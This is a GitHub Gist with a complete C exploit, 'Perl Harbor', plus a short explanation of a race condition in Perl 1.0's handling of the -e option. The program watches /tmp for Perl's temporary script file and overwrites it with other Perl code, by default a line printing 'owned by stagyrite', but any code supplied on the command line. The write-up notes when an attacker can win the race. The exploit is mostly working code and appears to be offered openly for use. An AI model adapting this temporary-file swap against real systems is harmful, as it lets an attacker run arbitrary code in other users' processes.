Last active
June 25, 2024 11:13
-
-
Save Stagyrite/2175863894712ae71c129f7012d34da3 to your computer and use it in GitHub Desktop.
Perl Harbor: exploit against Perl Kit 1.0
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Perl Harbor: exploit against Perl Kit 1.0 | |
* | |
* gcc -o perl-harbor perl-harbor.c | |
* ./perl-harbor & | |
* Perl-1.0/perl -e 'print "hello, world\n";' | |
* | |
* Successful execution ends with printing "owned by stagyrite". | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <dirent.h> | |
#include <sys/stat.h> | |
#define PREFIX "perl-e" | |
char *perlcode = "print \"owned by stagyrite\n\";"; | |
int done = 0; | |
int zero(const struct dirent **a, const struct dirent **b) { | |
return 0; | |
} | |
void swap(const char *fname) { | |
int out; | |
/* Open a file for writing. */ | |
if ((out = open(fname, O_WRONLY | O_TRUNC, 0666)) == -1){ | |
perror(fname); | |
exit(-1); | |
} | |
/* Swap a Perl program now. */ | |
if (write(out, perlcode, strlen(perlcode)) == -1) { | |
perror(fname); | |
exit(-1); | |
} | |
close(out); | |
} | |
void do_exploit(const char *fname) { | |
struct stat stbuf; | |
/* Wait for it. */ | |
do { | |
stat(fname, &stbuf); | |
} while (stbuf.st_size == 0); | |
swap(fname); | |
done = 1; | |
} | |
int exploit(const struct dirent *s) { | |
if (strncmp(PREFIX, s->d_name, strlen(PREFIX)) == 0) { | |
do_exploit(s->d_name); | |
} | |
return -1; | |
} | |
int main(int argc, char *argv[]) { | |
struct dirent **namelist; | |
if (argc > 1) { | |
/* Set a Perl code passed in as a command-line argument. */ | |
perlcode = argv[1]; | |
} | |
chdir("/tmp"); | |
/* Actively wait for a temporary file to appear. */ | |
while (!done) { | |
if (scandir("/tmp", &namelist, exploit, zero) == -1) { | |
perror("scandir()"); | |
exit(-1); | |
} | |
} | |
exit(0); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
There is a race condition when a user passes Perl code with the command line 'e' option. Here's a plan that Perl 1 implements:
Suppose you want to print a 'hello, world' text with Perl 1.
It would create a temporary file (e.g., /tmp/perl-emMuFDJ). That file is certain to contain the Perl code followed by a new line character. Then, the execution proceeds as if you execute:
The temporary file is deleted upon program termination. It should properly print the "hello, world" text. Let's take a closer look at the implementation in the perly.c file. I've inserted my code comments to make it easier to understand.
The two first points of the plan implemented are done by now. The Perl code is likely to reside in a buffer, and the temporary file is almost certain of size 0. The rest is done at the end of the switch().
Perl 1 interpreter will now proceed as if the temporary file was passed in a command-line argument. The moment just after it calls 'fclose()' is when the race conditions occur. It can be exploited by writing a possibly malicious code in the already created temporary file. In our example, it's /tmp/perl-emMuFDJ. to be vulnerable, an attacker must have write access to that temporary file. There are several cases when it can be done:
The exploit allows the attacker to run a possibly malicious Perl code. The Perl Harbor exploit swaps user programs with one printing 'owned by stagyrite'. Here are two real-world examples:
Here's a plan implemented:
Exploitation is successful when Perl 1 doesn't manage to execute its code before it gets swapped with the infected one. It can be unsuccessful if Perl Harbor swaps the file too early or too late. Thus, there are 4 possible endings:
You can get the complete exploit in C programming language from GitHub.